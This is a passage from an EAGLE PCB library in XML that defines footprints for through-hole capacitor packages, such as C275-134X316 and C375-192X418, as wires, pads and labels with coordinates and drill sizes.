layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"5.588\" x2=\"15.748\" y2=\"5.08\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"15.24\" y1=\"-5.588\" x2=\"15.748\" y2=\"-5.08\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"-5.08\" x2=\"-15.24\" y2=\"-5.588\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"5.08\" x2=\"-15.24\" y2=\"5.588\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-11.557\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"11.557\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-15.24\" y=\"5.969\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C275-134X316\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 27.5 mm, outline 13.4 x 31.6 mm</description>\n<wire x1=\"-15.24\" y1=\"6.604\" x2=\"15.24\" y2=\"6.604\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.748\" y1=\"6.096\" x2=\"15.748\" y2=\"-6.096\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-6.604\" x2=\"-15.24\" y2=\"-6.604\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.748\" y1=\"-6.096\" x2=\"-15.748\" y2=\"6.096\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"6.604\" x2=\"15.748\" y2=\"6.096\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"15.24\" y1=\"-6.604\" x2=\"15.748\" y2=\"-6.096\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"-6.096\" x2=\"-15.24\" y2=\"-6.604\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"6.096\" x2=\"-15.24\" y2=\"6.604\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-11.557\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"11.557\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-15.24\" y=\"6.985\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C275-205X316\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 27.5 mm, outline 20.5 x 31.6 mm</description>\n<wire x1=\"-15.24\" y1=\"10.16\" x2=\"15.24\" y2=\"10.16\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.748\" y1=\"9.652\" x2=\"15.748\" y2=\"-9.652\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-10.16\" x2=\"-15.24\" y2=\"-10.16\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.748\" y1=\"-9.652\" x2=\"-15.748\" y2=\"9.652\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"10.16\" x2=\"15.748\" y2=\"9.652\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"15.24\" y1=\"-10.16\" x2=\"15.748\" y2=\"-9.652\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"-9.652\" x2=\"-15.24\" y2=\"-10.16\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"9.652\" x2=\"-15.24\" y2=\"10.16\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-11.557\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"11.557\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-15.24\" y=\"10.541\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-4.318\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C325-137X374\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 32.5 mm, outline 13.7 x 37.4 mm</description>\n<wire x1=\"-14.2748\" y1=\"0\" x2=\"-12.7\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"1.905\" x2=\"-12.7\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-11.811\" y1=\"1.905\" x2=\"-11.811\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-11.811\" y1=\"0\" x2=\"14.2748\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-11.811\" y1=\"0\" x2=\"-11.811\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"0\" x2=\"-12.7\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"18.542\" y1=\"6.731\" x2=\"18.542\" y2=\"-6.731\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.542\" y1=\"6.731\" x2=\"-18.542\" y2=\"-6.731\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.542\" y1=\"-6.731\" x2=\"18.542\" y2=\"-6.731\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"18.542\" y1=\"6.731\" x2=\"-18.542\" y2=\"6.731\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-16.256\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"16.256\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-18.2372\" y=\"7.0612\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-10.8458\" y=\"-2.8702\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C325-162X374\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 32.5 mm, outline 16.2 x 37.4 mm</description>\n<wire x1=\"-14.2748\" y1=\"0\" x2=\"-12.7\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"1.905\" x2=\"-12.7\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-11.811\" y1=\"1.905\" x2=\"-11.811\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-11.811\" y1=\"0\" x2=\"14.2748\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-11.811\" y1=\"0\" x2=\"-11.811\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"0\" x2=\"-12.7\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"18.542\" y1=\"8.001\" x2=\"18.542\" y2=\"-8.001\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.542\" y1=\"8.001\" x2=\"-18.542\" y2=\"-8.001\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.542\" y1=\"-8.001\" x2=\"18.542\" y2=\"-8.001\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"18.542\" y1=\"8.001\" x2=\"-18.542\" y2=\"8.001\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-16.256\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"16.256\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-18.3642\" y=\"8.3312\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-10.8458\" y=\"-2.8702\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C325-182X374\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 32.5 mm, outline 18.2 x 37.4 mm</description>\n<wire x1=\"-14.2748\" y1=\"0\" x2=\"-12.7\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"1.905\" x2=\"-12.7\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-11.811\" y1=\"1.905\" x2=\"-11.811\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-11.811\" y1=\"0\" x2=\"14.2748\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-11.811\" y1=\"0\" x2=\"-11.811\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-12.7\" y1=\"0\" x2=\"-12.7\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"18.542\" y1=\"9.017\" x2=\"18.542\" y2=\"-9.017\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.542\" y1=\"9.017\" x2=\"-18.542\" y2=\"-9.017\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-18.542\" y1=\"-9.017\" x2=\"18.542\" y2=\"-9.017\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"18.542\" y1=\"9.017\" x2=\"-18.542\" y2=\"9.017\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-16.256\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"16.256\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-18.3642\" y=\"9.3472\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-10.8458\" y=\"-2.8702\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C375-192X418\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 37.5 mm, outline 19.2 x 41.8 mm</description>\n<wire x1=\"-20.32\" y1=\"8.509\" x2=\"20.32\" y2=\"8.509\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.828\" y1=\"8.001\" x2=\"20.828\" y2=\"-8.001\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"-8.509\" x2=\"-20.32\" y2=\"-8.509\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.828\" y1=\"-8.001\" x2=\"-20.828\" y2=\"8.001\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"8.509\" x2=\"20.828\" y2=\"8.001\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"20.32\" y1=\"-8.509\" x2=\"20.828\" y2=\"-8.001\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-20.828\" y1=\"-8.001\" x2=\"-20.32\" y2=\"-8.509\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-20.828\" y1=\"8.001\" x2=\"-20.32\" y2=\"8.509\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-16.002\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"16.002\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-18.796\" y=\"0\" drill=\"1.3208\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"18.796\" y=\"0\" drill=\"1.3208\" shape=\"octagon\"/>\n<text x=\"-20.447\" y=\"8.89\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C375-203X418\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 37.5 mm, outline 20.3 x 41.8 mm</description>\n<wire x1=\"-20.32\" y1=\"10.16\" x2=\"20.32\" y2=\"10.16\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.828\" y1=\"9.652\" x2=\"20.828\" y2=\"-9.652\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"-10.16\" x2=\"-20.32\" y2=\"-10.16\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.828\" y1=\"-9.652\" x2=\"-20.828\" y2=\"9.652\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"10.16\" x2=\"20.828\" y2=\"9.652\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"20.32\" y1=\"-10.16\" x2=\"20.828\" y2=\"-9.652\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-20.828\" y1=\"-9.652\" x2=\"-20.32\" y2=\"-10.16\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-20.828\" y1=\"9.652\" x2=\"-20.32\" y2=\"10.16\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-16.002\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"16.002\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-18.796\" y=\"0\" drill=\"1.3208\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"18.796\" y=\"0\" drill=\"1.3208\" shape=\"octagon\"/>\n<text x=\"-20.32\" y=\"10.541\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C050-035X075\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 5 mm, outline 3.5 x 7.5 mm</description>\n<wire x1=\"-0.3048\" y1=\"0.635\" x2=\"-0.3048\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-0.3048\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"0\" x2=\"-1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0.635\" x2=\"0.3302\" y2=\"0\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"0.3302\" y2=\"-0.635\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0\" x2=\"1.524\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.683\" y1=\"1.524\" x2=\"-3.683\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.429\" y1=\"-1.778\" x2=\"3.429\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.683\" y1=\"-1.524\" x2=\"3.683\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"1.778\" x2=\"-3.429\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.429\" y1=\"1.778\" x2=\"3.683\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"3.429\" y1=\"-1.778\" x2=\"3.683\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"-1.524\" x2=\"-3.429\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-3.683\" y1=\"1.524\" x2=\"-3.429\" y2=\"1.778\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.556\" y=\"2.159\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.556\" y=\"-3.429\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C375-155X418\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 37.5 mm, outline 15.5 x 41.8 mm</description>\n<wire x1=\"-20.32\" y1=\"7.62\" x2=\"20.32\" y2=\"7.62\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.828\" y1=\"7.112\" x2=\"20.828\" y2=\"-7.112\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"-7.62\" x2=\"-20.32\" y2=\"-7.62\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-20.828\" y1=\"-7.112\" x2=\"-20.828\" y2=\"7.112\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"20.32\" y1=\"7.62\" x2=\"20.828\" y2=\"7.112\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"20.32\" y1=\"-7.62\" x2=\"20.828\" y2=\"-7.112\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-20.828\" y1=\"-7.112\" x2=\"-20.32\" y2=\"-7.62\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-20.828\" y1=\"7.112\" x2=\"-20.32\" y2=\"7.62\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-16.002\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"16.002\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-18.796\" y=\"0\" drill=\"1.3208\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"18.796\" y=\"0\" drill=\"1.3208\" shape=\"octagon\"/>\n<text x=\"-20.447\" y=\"8.001\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C075-063X106\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 7.5 mm, outline 6.3 x 10.6 mm</description>\n<wire x1=\"4.953\" y1=\"3.048\" x2=\"-4.953\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.207\" y1=\"2.794\" x2=\"-5.207\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.953\" y1=\"-3.048\" x2=\"4.953\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.207\" y1=\"-2.794\" x2=\"5.207\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"3.048\" x2=\"5.207\" y2=\"2.794\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.953\" y1=\"-3.048\" x2=\"5.207\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.207\" y1=\"-2.794\" x2=\"-4.953\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.207\" y1=\"2.794\" x2=\"-4.953\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"2.667\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.667\" y1=\"0\" x2=\"-2.159\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.159\" y1=\"1.27\" x2=\"-2.159\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-2.159\" y1=\"0\" x2=\"-2.159\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"1.27\" x2=\"-1.27\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.27\" y2=\"-1.27\" width=\"0.4064\" layer=\"21\"/>\n<pad name=\"1\" x=\"-3.81\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"3.81\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-4.826\" y=\"3.429\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.54\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C275-154X316\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 27.5 mm, outline 15.4 x 31.6 mm</description>\n<wire x1=\"-15.24\" y1=\"7.62\" x2=\"15.24\" y2=\"7.62\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.748\" y1=\"7.112\" x2=\"15.748\" y2=\"-7.112\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-7.62\" x2=\"-15.24\" y2=\"-7.62\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.748\" y1=\"-7.112\" x2=\"-15.748\" y2=\"7.112\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"7.62\" x2=\"15.748\" y2=\"7.112\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"15.24\" y1=\"-7.62\" x2=\"15.748\" y2=\"-7.112\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"-7.112\" x2=\"-15.24\" y2=\"-7.62\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"7.112\" x2=\"-15.24\" y2=\"7.62\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-11.557\" y1=\"0\" x2=\"-7.62\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"11.557\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"13.716\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-15.24\" y=\"8.001\" size=\"1.778\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-2.54\" size=\"1.778\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C275-173X316\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 27.5 mm, outline 17.3 x 31.6 mm</description>\n<wire x1=\"-15.24\" y1=\"8.509\" x2=\"15.24\" y2=\"8.509\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.748\" y1=\"8.001\" x2=\"15.748\" y2=\"-8.001\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"-8.509\" x2=\"-15.24\" y2=\"-8.509\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-15.748\" y1=\"-8.001\" x2=\"-15.748\" y2=\"8.001\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"1.905\" x2=\"-6.731\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-6.731\" y1=\"0\" x2=\"-6.731\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"1.905\" x2=\"-7.62\" y2=\"0\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-7.62\" y2=\"-1.905\" width=\"0.4064\" layer=\"21\"/>\n<wire x1=\"15.24\" y1=\"8.509\" x2=\"15.748\" y2=\"8.001\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"15.24\" y1=\"-8.509\" x2=\"15.748\" y2=\"-8.001\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"-8.001\" x2=\"-15.24\" y2=\"-8.509\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-15.748\" y1=\"8.001\" x2=\"-15.24\" y2=\"8.509\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-11.557\" y1=\"0\" x2=\"-7.62\" y2=\"0\" 